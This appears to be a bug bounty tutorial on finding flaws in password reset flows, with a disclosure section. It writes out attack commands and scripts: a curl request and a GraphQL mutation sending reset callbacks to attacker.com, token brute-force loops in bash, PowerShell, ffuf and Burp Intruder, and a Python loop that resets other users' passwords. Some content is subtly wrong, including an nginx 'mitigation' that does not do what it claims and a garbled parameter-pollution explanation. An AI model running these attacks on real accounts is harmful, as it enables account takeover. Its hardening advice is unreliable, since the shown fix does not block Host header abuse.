Introduction:

Bug bounty hunting promises lucrative rewards for finding security flaws, but most newcomers fail because they treat it like a random treasure hunt instead of a systematic methodology. The gap between watching tutorials on XSS, IDOR, and SSRF and actually discovering a valid vulnerability on a live target is where 90% of beginners quit – not from lack of knowledge, but from lack of structured thinking and flow-based testing.

Learning Objectives:

  • Master the password reset workflow as a case study for deep, flow-based vulnerability testing
  • Learn to use Burp Suite and browser DevTools to intercept, modify, and analyze HTTP requests with surgical precision
  • Build a repeatable methodology for identifying logic flaws, token exposure, and race conditions in authentication flows

You Should Know:

  1. Deep Dive: Password Reset Flow Analysis – Beyond “Forgot Password”

Most hunters click “Forgot Password”, enter an email, and wait for a link. That’s shallow testing. Real bug hunting requires dissecting every step of the flow.

Step‑by‑Step Guide:

  • Step 1 – Map the full flow: Identify all endpoints involved – the request to initiate reset (/reset/request), the email receipt, the reset link landing page (/reset/token), and the final password update (/reset/confirm).
  • Step 2 – Intercept each request using Burp Suite or OWASP ZAP. Start with the password reset request.
  • Step 3 – Modify parameters aggressively. Change the `email` parameter to another user’s email, try `email[]` arrays, add `Content-Type: application/json` with different JSON structures, or inject CRLF characters.
  • Step 4 – Analyze token behaviour. After receiving the reset link, check if the token is predictable (base64 encoded email, timestamp, sequential integer), exposed in URL fragments, or reusable after password change.

Commands / Tools:

 Use curl to send a crafted reset request (Linux/macOS)
curl -X POST https://target.com/api/reset \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","callback":"https://attacker.com/log"}'

Burp Suite extension: Auth Analyzer – auto-tests token entropy
 Windows PowerShell equivalent:
Invoke-WebRequest -Uri "https://target.com/reset" -Method POST -Body '[email protected]'

What this does: It allows you to brute-force or tamper with reset tokens and potentially take over any account. Use only on authorized targets.

  1. Mastering Burp Suite Configuration for Password Reset Attacks

Without tool configuration, you’ll miss critical anomalies. Set up Burp to automatically highlight and log suspicious reset behaviours.

Step‑by‑Step Guide:

  • Step 1 – Install Burp Suite Community/Pro and set your browser proxy to 127.0.0.1:8080. Install CA certificate for HTTPS interception.
  • Step 2 – Enable “Intercept” and navigate to the target’s password reset page. Study the raw HTTP request.
  • Step 3 – Add custom match/replace rules: Go to Proxy → Options → Match and Replace. Create rule: replace `[email protected]` with `[email protected]` automatically.
  • Step 4 – Use Burp Intruder for token brute-force. Send the reset link request to Intruder, set payload position on the token parameter, and load a wordlist of potential secrets (e.g., timestamps, user IDs).

Configuration Snapshot:

 Example Intruder payload set for token prediction
Payload type: Numbers
Range: 1000000-9999999 (7-digit tokens)
Number format: Decimal
Processing: Add prefix "reset_token=", URL-encode

Windows alternative: Use OWASP ZAP with similar macro functionality. Linux users can script with ffuf:

ffuf -u https://target.com/reset?token=FUZZ -w tokens.txt -fc 404
  1. Manual vs. Automated Testing Strategy – Why Random Scanning Fails

Beginners run nmap, nikto, or `dirb` and expect bugs. Automated scanners miss logical vulnerabilities (IDOR, rate-limiting bypass, race conditions). You need a hybrid approach.

Step‑by‑Step Guide:

  • Step 1 – Manual first: Understand the application’s expected behaviour. Spend 30 minutes just clicking through password reset as a normal user.
  • Step 2 – Automate only after you have a hypothesis. For example, if you suspect the reset token is a timestamp, automate token generation with a script.
  • Step 3 – Use semi‑automated tools like Caido or HTTP Toolkit to record a flow and replay with parameter mutations.
  • Step 4 – Combine with Burp Intruder’s “cluster bomb” attack to test two variables simultaneously (e.g., email + reset code).

Script Example (Python – Linux/Windows):

import requests
import time

target = "https://target.com/reset/confirm"
for user_id in range(1, 100):
payload = {"uid": user_id, "new_pass": "hacked"}
r = requests.post(target, json=payload)
if r.status_code == 200:
print(f"Potential IDOR at uid={user_id}")

Run this on Windows using `python script.py` from PowerShell or CMD. The script brute-forces user IDs – a common flaw when reset tokens are tied to incrementing IDs.

  1. Common Password Reset Vulnerabilities – Real Examples & Mitigation

From the post’s insight: asking “Can I change email in the request?” leads to account takeover. Here’s how to exploit and fix each.

Step‑by‑Step Exploitation:

  • Host Header Injection: Intercept reset request, add Host: attacker.com. If the email contains a link generated from that host, you receive the reset token.
  • Parameter Pollution: Send [email protected]&[email protected]. Some backends take the last parameter, resetting the attacker’s account instead of the user’s.
  • Race Condition: Send multiple concurrent reset requests for the same email. The server might send multiple tokens, allowing you to bypass rate limits.

Mitigation Commands (Linux server hardening):

 Nginx config to ignore extra Host headers
proxy_set_header Host $http_host;
 Rate-limit password reset endpoints
limit_req_zone $binary_remote_addr zone=reset:10m rate=3r/m;

For Windows IIS: Use URL Rewrite module to enforce `X-Forwarded-Host` validation. Always cryptographically sign tokens with HMAC, never base64 encoded emails.

  1. Linux/Windows Commands for Token Testing & Log Analysis

After sending malicious reset requests, you need to analyze server responses and logs (if you have access on a bug bounty program’s test environment).

Linux Commands:

 Monitor Burp Suite proxy logs in real time
tail -f ~/.BurpSuite/logs/proxy.log | grep -i "reset"

Decode JWT reset tokens without signature verification
jwt_tool.py eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidmljdGltIn0.

Check for token predictability
for i in {1..100}; do curl -s https://target.com/reset/$i | grep -q "valid" && echo "Token $i works"; done

Windows PowerShell Commands:

 Extract all reset links from response
Select-String -Path .\burp_responses.txt -Pattern 'https?://target.com/reset/\w+' | ForEach-Object { $_.Matches.Value }

Test sequential tokens
1..100 | ForEach-Object { $token = $_; $response = Invoke-WebRequest -Uri "https://target.com/reset/$token" -Method Get; if ($response.StatusCode -eq 200) { Write-Host "Valid token: $token" } }

These commands help you identify token leakage in logs or brute-force predictable tokens.

  1. API Security in Password Reset – GraphQL & REST Endpoints

Modern apps expose GraphQL mutations for password reset. These are often overlooked and contain critical flaws.

Step‑by‑Step Guide:

  • Step 1 – Discover GraphQL endpoint: Use curl -X POST https://target.com/graphql -d '{"query":"{__typename}"}'. If response contains {"data":{"__typename":"Query"}}, GraphQL is active.
  • Step 2 – Introspect the schema: Send {"query":"{__schema{types{name fields{name}}}}"}. Look for mutations like resetPassword, requestPasswordReset, or changePassword.
  • Step 3 – Test for IDOR in GraphQL: If a mutation accepts userId, try changing it to another user’s ID. Example payload: 
    mutation { requestReset(email: "[email protected]", callbackUrl: "https://attacker.com") }

    Mitigation: Limit introspection in production, enforce strict email validation, never allow client‑specified callbacks. Use Rate Limiting with GraphQL cost analysis.

  1. Reporting & Responsible Disclosure – Turning a Bug into a Bounty

Finding a vulnerability is useless if you can’t write a clear, actionable report. Based on the methodology above, here’s how to submit.

Step‑by‑Step Guide:

  • Step 1 – Reproduce with proof: Record a video or screenshot each step. Show the original request, modified request, and the resulting account takeover.
  • Step 2 – Write impact statement: “An attacker can reset any user’s password without interaction, leading to full account compromise and data breach.”
  • Step 3 – Provide remediation: Suggest server-side validation of email ownership, one-time use tokens with short expiry, and rate limiting.
  • Step 4 – Use bug bounty platforms (HackerOne, Bugcrowd): Follow their disclosure policy. Never disclose publicly before resolution.

Reporting Template:

 Vulnerability: Password Reset Token Reuse
Steps to Reproduce:
1. Request reset for account A, receive token T
2. Reset account A using T
3. Request reset for account B, reuse same token T
4. Observe that token T resets account B
Impact: Account takeover across all users who requested reset within token validity.

What Undercode Say:

  • The “one flow, deep thinking” approach is the single most effective mindset shift for beginner bug hunters – random URL fuzzing yields nothing; systematic questioning of every parameter in a single feature (password reset) consistently uncovers critical vulnerabilities.
  • Tooling without methodology is useless. Burp Suite, ffuf, and custom scripts become powerful only when paired with a hypothesis-driven testing plan. The post’s author nailed the reality: knowing payloads means nothing if you don’t know where and why to inject them.
  • Companies continue to screw up password reset logic – from host header injection to predictable tokens – making this flow a goldmine for hunters. Master it, and you’ll outpace 80% of beginners who only scan for XSS and SQLi.
  • Automation should follow manual exploration, not replace it. The most creative bugs (race conditions, business logic flaws) are invisible to scanners. Mix manual deep-dives with targeted automation scripts to replicate attacks at scale.

Prediction:

Within the next 18 months, AI‑driven bug bounty assistants will automate token prediction and parameter discovery, but human creativity in flow‑based logic flaws (like multi‑step password reset race conditions) will become even more valuable. Platforms will introduce “logic bounty” categories with higher payouts. Beginners who learn systematic questioning today – as described in this 30‑day tip – will dominate the next wave of bug hunting. Concurrently, companies will adopt passwordless reset methods (WebAuthn, magic links with hardware binding), shifting the attack surface to biometric and device identity vulnerabilities. The gold rush will move from simple IDOR to authentication orchestration flaws.
